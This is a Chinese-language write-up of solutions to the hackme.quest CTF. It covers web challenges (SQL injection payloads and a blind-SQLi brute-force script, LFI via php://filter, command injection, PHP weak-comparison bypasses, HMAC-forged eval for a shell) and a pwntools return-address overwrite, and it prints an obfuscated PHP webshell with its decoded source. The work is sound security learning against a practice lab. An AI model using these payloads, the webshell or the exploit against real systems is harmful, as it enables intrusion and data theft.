--- tags: CTF --- # hackme writeup 題目網站: https://ctf.hackme.quest/ ID: hungkiller 這篇記錄我在Hackme CTF上的解題過程,其中部分不會解的題目是參考其他人的解法,再順過一次解題思路。 [參考1 - maple3142](https://blog.maple3142.net/2020/07/23/hackme-ctf-experience-and-hints/#login-as-admin-1) [參考2 - Zero871015](https://hackmd.io/@Zero871015/Hackme#20-scoreboard) # Web ## [Web]15. hide and seek ![](https://i.imgur.com/JoCMW0E.png) 在source code中 找到FLAG ## [Web]16. Guestbook 題目是一個簡單的留言版功能 ![](https://i.imgur.com/XtEFJeP.png) 在New Post中可以留言 ![](https://i.imgur.com/iMXuDCQ.png) 並且在Message List裡可以觀看留言 ![](https://i.imgur.com/72Uzayg.png) 對id進行SQL injection ``` https://ctf.hackme.quest/gb/?mod=read&id=99999+or+1=1;--+ ``` ![](https://i.imgur.com/chxoqp3.png) 確定可以植入SQL injection後 利用sqlmap送出封包, 並且在資料庫找到FLAG ``` GET /gb/?mod=read&id=1044* HTTP/2 Host: ctf.hackme.quest Cookie: _ga=GA1.2.1354766314.1673508987; _gid=GA1.2.1482760230.1673508987 Sec-Ch-Ua: ";Not A Brand";v="99", "Chromium";v="94" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7 ``` Note: 要用HTTPS送封包 Payload: ``` sqlmap -r row.txt --dbs --force-ssl -D g8 -T flag -C "flag, id, padding0, padding1" --dump ``` ![](https://i.imgur.com/hscfx2Q.png) ## [Web]17. LFI 題目是一個簡單的網站 https://ctf.hackme.quest/lfi/?page=pages/index ![](https://i.imgur.com/Ht27JOK.png) https://ctf.hackme.quest/lfi/?page=pages/intro ![](https://i.imgur.com/Q22dhNs.png) https://ctf.hackme.quest/lfi/?page=pages/login ![](https://i.imgur.com/9ga19Bt.png) 在source中發現提示 ![](https://i.imgur.com/bdDjGO3.png) 但也沒有flag ![](https://i.imgur.com/b9u83F5.png) 根據題目一開始的提示 php://filter 用php的偽協定來讀取source code https://ctf.hackme.quest/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag 讀到base64轉換後的原始碼 ![](https://i.imgur.com/VrCVNZl.png) ``` Can you read the flag<?php require('config.php'); ?>? ``` 但不論怎麼嘗試都讀不到config.php這個檔案 於是用一樣的方式讀取login的sourece code ```lau=php <?php require('config.php'); if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') { echo $flag; } else { ?> <form action="?page=pages/login" method="post" role="form"> <div class="form-group"> <label for="user-i">User</label> <input type="text" class="form-control" id="user-i" placeholder="Username" name="user"> </div> <div class="form-group"> <label for="pass-i">Password</label> <input type="password" class="form-control" id="pass-i" placeholder="Password" name="pass"> </div> <button type="submit" class="btn btn-primary">Login</button> </form> <?php }?> ``` 發現admin的密碼md5加密後的密文, 於是透過碰撞, 得到密碼 ![](https://i.imgur.com/nVCqZJF.png) 登入後得到flag~ ![](https://i.imgur.com/9QuU5uS.png) ## [Web]18. homepage 題目就是Home page本身 在Source code的地方,發現cute.js ![](https://i.imgur.com/rfbqzho.png) 但發現它的內容是一堆emoji ![](https://i.imgur.com/aRGbadU.png) 搜尋之後發現這是一種加密演算法叫aaencode,[Decode工具解開](http://www.atoolbox.net/Tool.php?Id=703) ```lua=javascript function print_qrcode(qrcode, color, fill) { var args = []; var buff = []; for (var i = 0; i < qrcode.length; i++) { var row = qrcode[i]; for (var j = 0; j < qrcode[0].length; j++) { buff.push("%c\u2588\u2588"); args.push("color:" + ("1" == row[j] ? color : fill)); } buff.push("\n"); } args.unshift(buff.join("")); console.log.apply(console, args); } var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001", "00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"]; print_qrcode(qrcode, "#333", "#fff"); ``` 看起來是console會print一個QRcode出來,於是在Home page打開console ![](https://i.imgur.com/2KXztTC.png) 用手機掃這個QRcode後,就可以得到FLAG! > FLAG{Oh, You found me!!!!!! Yeeeeeeee.} [aaencode原理](https://blog.techbridge.cc/2016/07/16/javascript-jsfuck-and-aaencode/) ## [Web]19. ping ![](https://i.imgur.com/qFn8WG3.png) 題目就是一個簡單的ping功能,看起來我們要透過command injection,來讀取flag [2>&1用法](https://mks.tw/2928/%E5%AD%B8%E7%BF%92%E7%AD%86%E8%A8%98-linux-command-%E3%80%8C21%E3%80%8D-%E8%BC%95%E9%AC%86%E8%AB%87) 由於我們沒辦法透過";"截斷指令,所以不能直接做指令串接 但透過嘗試發現當我們ping不存在的主機時,我們還是可以看到錯誤訊息 ![](https://i.imgur.com/V53pgFx.png) 所以我們可以將指令插在這邊,讓指令執行出來的結果,變成ping的ip。 ![](https://i.imgur.com/deHMVv9.png) 接著由於題目過濾了cat,所以用head代替 (題目也過濾了 flag、php) 於是Payload變成 > \`head *\` GET FLAG! ![](https://i.imgur.com/eZaqSk0.png) ## [Web]20. scoreboard ![](https://i.imgur.com/6XVdmNO.png) 在Response Header找到FLAG ## [Web]21. Login As Admin 0 題目是一個登入的入口 ![](https://i.imgur.com/gNPTWP4.png) ![](https://i.imgur.com/Jjy0qUL.png) 目標是要繞過登入,用Admin登入 ![](https://i.imgur.com/TDuOJqt.png) 題目會把替換掉"\'",改成"\\'" 所以我們可以用"\\'",這樣經過替換後就會變成"\\\\'" 如此以來"\\"就會被當成一般字串,單引號就可以完成閉合。 Payload: ``` \'or+2=2 limit 1,1;--+ ``` ![](https://i.imgur.com/1BljmCw.png) ## [Web]22. login as admin 0.1 在前一題的登入口,挖出FLAG 2 透過UNION test,先測試有幾個欄位、哪個欄位的結果可以顯示在前端 再把資料表的內容印出來 Payload: ``` 查詢資料表名稱: \'or 2=1 union select NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema= database() limit 0,1;--+ ``` ![](https://i.imgur.com/sAoa781.png) 發現有個資料表叫h1dden_f14g Payload: ``` \'or 2=1 union select NULL,column_name,NULL,NULL FROM information_schema.columns WHERE table_name = "h1dden_f14g" limit 0,1;--+ ``` ![](https://i.imgur.com/bwyMBfi.png) 這張表就一個欄位~ GET FLAG! ``` \'or 2=1 union select NULL,the_f14g,NULL,NULL FROM h1dden_f14g limit 0,1;--+ ``` ![](https://i.imgur.com/h4oGdPR.png) ## [Web]23. login as admin 1 這次題目濾掉了空白、union、select 用"/\*\*/"取代空白即可! Payload: ``` \'or/**/2=2/**/limit/**/1,1;# ``` ![](https://i.imgur.com/IhWa7Id.png) ## [Web]24. login as admin 1.2 跟前一題一樣,FLAG藏在資料庫中,但這次沒有辦法透過union顯示出搜尋結果了 所以只能透過Boolean SQL的方式,猜到FLAG 1. 設計可以插入條件的Paylaod: ``` \'or/**/IF(500<1000,2,1)=2;# ``` ![](https://i.imgur.com/1SZylvj.png) 條件為真 ``` \'or/**/IF(500>1000,2,1)=2;# ``` ![](https://i.imgur.com/tfzuBWk.png) 條件為假 2. 有了可以測試條件的Payload,透過Boolean SQL的方式,分別對資料表名稱、欄位名稱進行爆破。 Note: 爆破時可以先用Burp手動測試長度,再寫Python爆破內容。 爆破資料表名稱長度 Payload: ``` \'or/**/IF(LENGTH((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1))<60,2,1)=2;# ``` 爆破內容的Python code: ```lua=python import requests import string # 16進制字元 # print(string.hexdigits) # string.printable url = "https://ctf.hackme.quest/login1/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'} cookies = { '_ga': 'GA1.2.1354766314.1673508987', 'session_guard': 'kq9cv4nhus62qvp31aq639rcuq', 'session': 'SESSION.RZ2XENhuIHexrE1Ty6mq0w31jY%2Fy2zPeL0i7pWZW%2Bdt5tW8BZyaWpO5K90KUjbqLRP3N%2BnxBu3Q9zlo7bUa8qg%3D%3D..1674112786', '_gid': 'GA1.2.1189176949.1673853587' } proxies = { 'https': 'http://127.0.0.1:8080', } dir = [chr(i) for i in range(ord('a'), ord('z')+1)] + [chr(i) for i in range(ord('A'), ord('Z')+1)] + [chr(i) for i in range(ord('0'), ord('9')+1)] + ['@', '.', '_', '-', '+', '=', '<', '>', '/', '?', '|', '\\', '{', '}'] target_string = '<h4>You are not admin!</h4>' pw = '' miss_char = [] try: for i in range(1, 67): print("Start test No.{} char".format(i)) bit = '' for j in range(1, 256): name = f"\\'or/**/IF(ord(mid((select/**/4a391a11cfa831ca740cf8d00782f3a6/**/from/**/0bdb54c98123f5526ccaed982d2006a9),{i},1))={j},2,1)=2;#" password = "guest" response = requests.post( url, data={'name': name, 'password': password}) if target_string in response.text: print(i, j) pw = pw + chr(j) break except: pass print("FLAG:", pw) # table_name = 0bdb54c98123f5526ccaed982d2006a9 # column_name = 4a391a11cfa831ca740cf8d00782f3a6 ``` ![](https://i.imgur.com/VUREscw.png) ## [Web]25. login as admin 3 ![](https://i.imgur.com/tszGgN5.png) 題目內, 如果我們可以控制admin則可以得到flag。 而admin是序列化後存在我們的Session中 ![](https://i.imgur.com/LUf09Sp.png) 題目透過Sig來檢測,我們的Session是否合法。 但由於Sig是由data、Secret key做出來的,我們不知道Secret key 所以沒辦法製造出合法的Session 因此目標是我們要繞過 ``` if(hash_hmac('sha512', $unserialized['data'], $secret) != $unserialized['sig']) ``` 如果繞過了, 我們就可以隨意的控制name, admin的值 Note: 這題是[PHP weak compare](https://www.php.net/manual/en/types.comparisons.php)的題目,但PHP 8.0.0之後的版本,已經修掉這個特性了。 ![](https://i.imgur.com/Ob8RXLj.png) ![](https://i.imgur.com/9dRDuCy.png) 控制sig的值為0,而由於PHPweak compare的特性 > 0 == 'string' #True 以此繞過Session的合法性檢測 用生成出來的Session,就可以成功Get Flag了! ![](https://i.imgur.com/A0orHr1.png) ## [Web]26. login as admin 4 ![](https://i.imgur.com/IhsvnuV.png) 在Source code中,可以發現如果輸入錯誤密碼,會發生跳轉 但在下面的程式碼裡,我們可以發現只要透過Post傳入name=admin,就可以看到FLAG了。 ![](https://i.imgur.com/OhQZze6.png) 於是把登入的封包攔下來,就可以看到FLAG在跳轉前,就顯示出來了。 ![](https://i.imgur.com/J9Fy6L2.png) ## [Web]27. login as admin 6 題目會將登入的資料,轉成JSON格式傳送 ![](https://i.imgur.com/w1Nrb6L.png) 並且會透過extract解析JSON內容 ![](https://i.imgur.com/eapwWCg.png) extract可以透過JSON格式來構建變數的內容,但如果重複出現的變數,值會被蓋過去。 ![](https://i.imgur.com/61LdzEm.png) eg. ``` <?php $a = 1; echo $a; $ar = [ 'a' => 3 ]; extract($ar); echo $a; ?> ``` Result: > 13 透過這個特性,我們更改登入時JSON的內容,蓋掉user的內容,就可以GET FLAG! ![](https://i.imgur.com/cypFI3M.png) ## [Web]28. login as admin 7 這次也是weak compare的題目,但這次兩邊都是字串 ![](https://i.imgur.com/42SNl6B.png) 參考[這篇](https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo)Stack overflow的討論 當今天的string的內容為科學記號(0e開頭後面都是數字),則與"0"運算的結果是true。 用md5後為科學記號的密碼登入,即可GET FLAG! ![](https://i.imgur.com/P7RDpTp.png) ## [Web]31. dafuq-manager 1 登入之後發現cookie裡有個show_hidden 改成Yes之後就成功GET FLAG了! ![](https://i.imgur.com/7TNTfT7.png) ## [Web]32. dafuq-manager 2 > Try to login as admin! and you will get flag2 把Source code載下來後,開始找Login是怎麼寫的 .core/login.php 發現了處理users的程式 ![](https://i.imgur.com/pYulGR7.png) .config/fun_users 發現user的資料都是存在.htusers.php裡 ![](https://i.imgur.com/KQv62ZK.png) 結合fun_users裡的activate_user函式、.htusers.php的內容 activate_user負責撈user的資訊 ![](https://i.imgur.com/e5K8iBb.png) .htuser.php儲存user的資訊 ![](https://i.imgur.com/TJpamwB.png) 所以目標就是得到.htusers.php的內容 在index.php中發現可以更改原始碼的功能 ![](https://i.imgur.com/GO0Yf7d.png) .core/fun_edit.php中發現有些看不看的到檔案的條件,其中是get_show_item這個函式在處理的。 ![](https://i.imgur.com/82FJPGl.png) .core/fun_extra.php中找到get_show_item函式,並發現它也是負責處理第一題的函式。 當item的開頭是 . 且$_cookie\['show_hidden'\] 不等於yes時,會回傳 FALSE 觸發 edit_file 裡的 Error。 ![](https://i.imgur.com/vgnSs6x.png) 此時我們可以透過edit這個功能LFI,但還不知道.htusers.php的檔案路徑 data/guest/index.html ![](https://i.imgur.com/6aIcrh6.png) 內容跟我們用guest登入後,看到的index.html一致,表示我們現在正在這個資料夾底下。 透過LFI即可下載.htusers.php ![](https://i.imgur.com/ptsP5i1.png) Note:這邊想要避開get_show_item的過濾,可以透過改cookie,也可以在item的開頭加一個/。 (linux的路徑會忽略那個斜線) 得到admin的帳號跟hash後的密碼,接著用[md5碰撞的網站](https://crackstation.net/)搜尋明文,就可以登入GET FLAG了。 ## [Web]33. dafuq-manager 3 > For flag3, you need a shell to get that. see $WEBROOT/flag3! > \#這題是將Mapple的write up重現一次,並以更長的篇幅描述細節 目標是要Get shell,所以直接搜尋Source code中有exec的地方,發現了debug.php ![](https://i.imgur.com/51HUfQs.png) ```lua=php= <?php function make_command($cmd) { $hmac = hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]); return sprintf('%s.%s', base64_encode($cmd), $hmac); } function do_debug() { assert(strlen($GLOBALS['secret_key']) > 40); $dir = $GLOBALS['__GET']['dir']; if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) { show_error('You are not hacky enough :('); } list($cmd, $hmac) = explode('.', $GLOBALS['__GET']['command'], 2); $cmd = base64_decode($cmd); $bad_things = array('system', 'exec', 'popen', 'pcntl_exec', 'proc_open', 'passthru', '`', 'eval', 'assert', 'preg_replace', 'create_function', 'include', 'require', 'curl',); foreach ($bad_things as $bad) { if (stristr($cmd, $bad)) { die('2bad'); } } if (hash_equals(hash_hmac('sha256', $cmd, $GLOBALS["secret_key"]), $hmac)) { die(eval($cmd)); } else { show_error('What does the fox say?'); } } ``` 我們的目標是透過21行的指令,eval($cmd)來get shell。 首先我們得繞過第9行的限制 dir不能為空也不能不是一個路徑, 不然會觸發init.php中的error。 ![](https://i.imgur.com/GbkV7zU.png) 可以透過dir[]=1的方式,來Bypass這部分的判斷。 > https://dafuq-manager.hackme.quest/index.php?action=debug&&dir[]=0 ![](https://i.imgur.com/gyRvICs.png) 12~19行是對\$command做處理還原\$cmd、\$hmac,並比對$cmd的合法性。 其中\$command是由 make_command生成的,其中先由\$cmd跟\$sec做hash後得到\$hmac,在將\$cmd經由base64 encode後,跟\$hmac串接而來。 ```lua=php <?php function make_command($cmd) { $sec = 'KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3'; $hmac = hash_hmac('sha256', $cmd, $sec); return sprintf('%s.%s', base64_encode($cmd), $hmac); } #find target file #echo make_command('var_dump(scandir("/var/www/webhdisk/flag3"));'); #check make file #echo make_command('echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/Makefile")."</pre>";'); #get flag echo make_command('$a="ex";$b="ec";$e=$a.$b;echo $e("cd /var/www/webhdisk/flag3/ && ./meow flag3");'); ?> ``` 透過題目給的make_command製作出我們的payload,即可get shell。 ($sec 可以在檔案中search,在conf.php裡) > https://dafuq-manager.hackme.quest/index.php?action=debug&dir[]=1&command=JGE9ImV4IjskYj0iZWMiOyRlPSRhLiRiO2VjaG8gJGUoImNkIC92YXIvd3d3L3dlYmhkaXNrL2ZsYWczLyAmJiAuL21lb3cgZmxhZzMiKTs=.cbb43a1f1f3b145f7d0eb1e0fbf6fd0c4788bfb6a6ee4b233d44c5721e870523 ![](https://i.imgur.com/ZO0VDEW.png) ## [Web]34. wordpress 1 https://wp.hackme.quest/archives/96 題目是一個Blog,在文章列表中發現Backup File,載來看後Search flag,會發現core.php裡面有一個外掛的function print_f14g()。 ```lua=php= <?php /** * @package f14gPrinter * @version 3.1415926 */ /* Plugin Name: Super f14g Printer Plugin URI: https://game2.security.ntu.st Description: This plugin can print f14g1 for you if you know the password! Author: Inndy Lin Version: 3.1415926 Author URI: https://inndy.tw */ function print_f14g() { $h = 'm'.sprintf('%s%d','d',-4+9e0); if($h($_GET['passw0rd']) === '5ada11fd9c69c78ea65c832dd7f9bbde') { if(wp_get_user_ip() === '127.0.0.1') { eval(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $h($_GET['passw0rd'].AUTH_KEY), base64_decode('zEFnGVANrtEUTMLVyBusu4pqpHjqhn3X+cCtepGKg89VgIi6KugA+hITeeKIpnQIQM8UZbUkRpuCe/d8Rf5HFQJSawpeHoUg5NtcGam0eeTw+1bnFPT3dcPNB8IekPBDyXTyV44s3yaYMUAXZWthWHEVDFfKSjfTpPmQkB8fp6Go/qytRtiP3LyYmofhOOOV8APh0Pv34VPjCtxcJUpqIw=='), MCRYPT_MODE_CBC, $h($_GET['passw0rd'].AUTH_SALT))); } else { die('</head><body><h1>Sorry, Only admin from localhost can get flag'); } } } add_action('wp_head', 'print_f14g'); ``` [md5破解工具](https://www.md5online.org/md5-decrypt.html) ![](https://i.imgur.com/n3ULzli.png) 直接送出密碼看看能不能get flag > https://wp.hackme.quest/?passw0rd=cat%20flag ![](https://i.imgur.com/XLrNDse.png) 發現18行會辨識IP,於是找找看wp_get_user_ip()是怎麼寫的 在function.php裡 ```lua=php /** * Try to get user's IP * * @since 0.87 * * @return string User's IP */ function wp_get_user_ip() { $ip = $_SERVER['REMOTE_ADDR']; if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } return $ip; } ``` 在封包裡加入HTTP_X_FORWARDED_FOR的header ![](https://i.imgur.com/QGthn27.png) > FLAG{Hello, You found my secret flag plugin! Try to found backdoor in my theme :D} ## [Web]35. wordpress 2 根據上一題Flag的提示,下一題的目標是要找到theme裡的後門並且利用。 在2013/10月的文章裡,會發現一篇叫FLAG2的文章,但文章有密碼不能直接看到。 利用wp-content/themes/astrid/template-parts/content-search.php中,設計好的後門,來讀取文章的內容 ```lua=php= <?php /** * Template part for displaying results in search pages. * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Astrid */ ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <header class="entry-header"> <?php the_title( sprintf( '<h2 class="entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h2>' ); ?> <?php if ( 'post' === get_post_type() ) : ?> <div class="entry-meta"> <?php astrid_posted_on(); ?> </div><!-- .entry-meta --> <?php endif; ?> </header><!-- .entry-header --> <div class="entry-summary"> <?php the_excerpt(); ?> </div><!-- .entry-summary --> <!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> --> <footer class="entry-footer"> <?php astrid_entry_footer(); ?> </footer><!-- .entry-footer --> </article><!-- #post-## --> ``` 其中第25行 $wp_query->post->是wordpress設計來可以讀取文章屬性的用法。 例如: > $wp_query->post->post_password #可以取得文章的密碼 > $wp_query->post->post_content #可以取得文章的內容 > [WP_Post {} document](https://developer.wordpress.org/reference/classes/wp_post/#source) ![](https://i.imgur.com/TpLYV3j.png) 後面$_GET['debug']是我們可控的。 這行的寫法比較複雜,可以參考Mapple找到的這兩篇文章 [php ->{}的語法](https://stackoverflow.com/questions/1147937/php-curly-brace-syntax-for-member-variable)、[php ?:替代 if](https://stackoverflow.com/questions/6277222/php-shorthand-ternary-operator-parse-error-unexpected) 於是我們要透過?debug=content來取得文章的內容,但直接送出時會發現沒有反應,這時就要思考如何讓content-search.php被include。 直接搜尋content-search.php,會發現search.php中有呼叫它。(get_template_part的地方) ![](https://i.imgur.com/goFQBwK.png) general-template.php 中的function get_template_part() ![](https://i.imgur.com/mjQgvdF.png) 而search.php中的描述也是,這是處理search頁面的功能。 所以當我們使用search的功能時,再加上debug參數,就能用這個後門讀取到文章的各種參數了。 > view-source:https://wp.hackme.quest/archives/date/2013/10?s=&debug=content ![](https://i.imgur.com/P0qoaj5.png) (也可以讀取password,再用密碼解鎖文章得到FLAG) ## [Web]36. webshell ```php <?php $cation = "St\x72\x5fr\x4ft\x313"; $e_obfus="b\x41Se\x364\x5f\x44e\x43ode"; $e_cod = "g\x5ainfl\x41t\x45"; $sourc = "St\x72\x72\x45v"; @eval ($sourc($e_cod($e_obfus($cation("KMSqn8VjTVKi9lgrcMtH3VqwT8jvb2vzjiltmKowKNt12dQTxxEDMC99voecmSH4rKBrpkXVDwmC1yBbi0PV1IeQA0GuTWSr3Pqi3IqTu92xznWEDw4FxeVNv4JpGewDovk8re57tTcMsMnk5nVDzzyefSIFS7PQb7AnFMfcg3UBjvl4H/GnPx/leZxlP/OFJYZ1cqYiHEDvWszvhYHoLnRhvv29gxcLgJbveVKw5k4jEwAc0VvFAtiPzpZ6BwDnQKOltXsF+JmSCVPdu0NI3qpr406XpZnKBpfAm+Rjhd9Z00TUQFagaWJg8qmNQowQCzaUmVaiSlCBLL+VkfuOYeA8+LkWdkHmDtp9xcmqB6H5OgyaqXK+gpWJTPBuHiSTW8OO9t13k2/7r+He8BfU"))))); ``` 將變數們用echo印出來 > $cation: Str_rOt13 > $e_obfus: bASe64_DeCode > $e_cod: gZinflAtE > $sourc: StrrEv 發現就是一連串的函數組合在一起 於是把eval改成echo 看看結果是甚麼 ```php function run() { if(isset($_GET['cmd']) && isset($_GET['sig'])) { #cmd = SHA512(ip) ^ $_GET['cmd'] $cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['cmd']; #key = ip . hostname $key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']); #sig = SHA512(SHA512(ip) ^ $_GET['cmd'] .key) $sig = hash_hmac('SHA512', $cmd, $key); if($sig === (string)$_GET['sig']) { header('Content-Type: text/plain'); return !!system($cmd); } } return false; } function fuck() { print(str_repeat("\n", 4096)); readfile($_SERVER['SCRIPT_FILENAME']); } run() ?: fuck(); ``` # PWN ## homework 在題目給的原始碼中,發現有個函數裡面有shell ![](https://i.imgur.com/ulcepKT.png) 於是透過gdb找到這個函數的addr ![](https://i.imgur.com/pPVGgvW.png) 思路:接著只要在題目中找到可以蓋掉eip的地方,就可以把eip蓋成call_me_maybe的記憶體位置,拿到shell 發現main裡面,run_program的下一個指令記憶體位置是0x080488b1 ![](https://i.imgur.com/bINWmxe.png) 所以在run_program裡設個斷點,在看看0x080488b1被存在記憶體的哪邊,就可以找到run_program結束後,要寫回EIP的記憶體位置 ``` x/40wx 0xffffd050 ``` ![](https://i.imgur.com/1gLgg4v.png) 然後發現題目有可以指定寫入記憶體位置的地方 ![](https://i.imgur.com/nvFjFjB.png) 利用這個功能先寫入0x05f5e0ff(99999999)在記憶體 看看被存在stack的哪裡 ![](https://i.imgur.com/1lMMvjl.png) 透過計算他們的相對位置,我們的目標0x080488b1,在arr[0]的後14個word,所以offset = 14 ```lua=python #!/usr/bin/env python # coding=utf-8 from pwn import * #io = process("./homework") io = remote("ctf.hackme.quest", 7701) #Input Name io.recvuntil("name? ") io.sendline("xxx") #overwrite return address io.recvuntil("dump all numbers") io.recvuntil(" > ") io.sendline("1") io.recvuntil("edit: ") io.sendline("14") io.recvuntil("How many? ") system_addr = 0x080485FB io.sendline(str(system_addr)) #exit io.recvuntil("dump all numbers") io.recvuntil(" > ") io.sendline("0") io.interactive() ```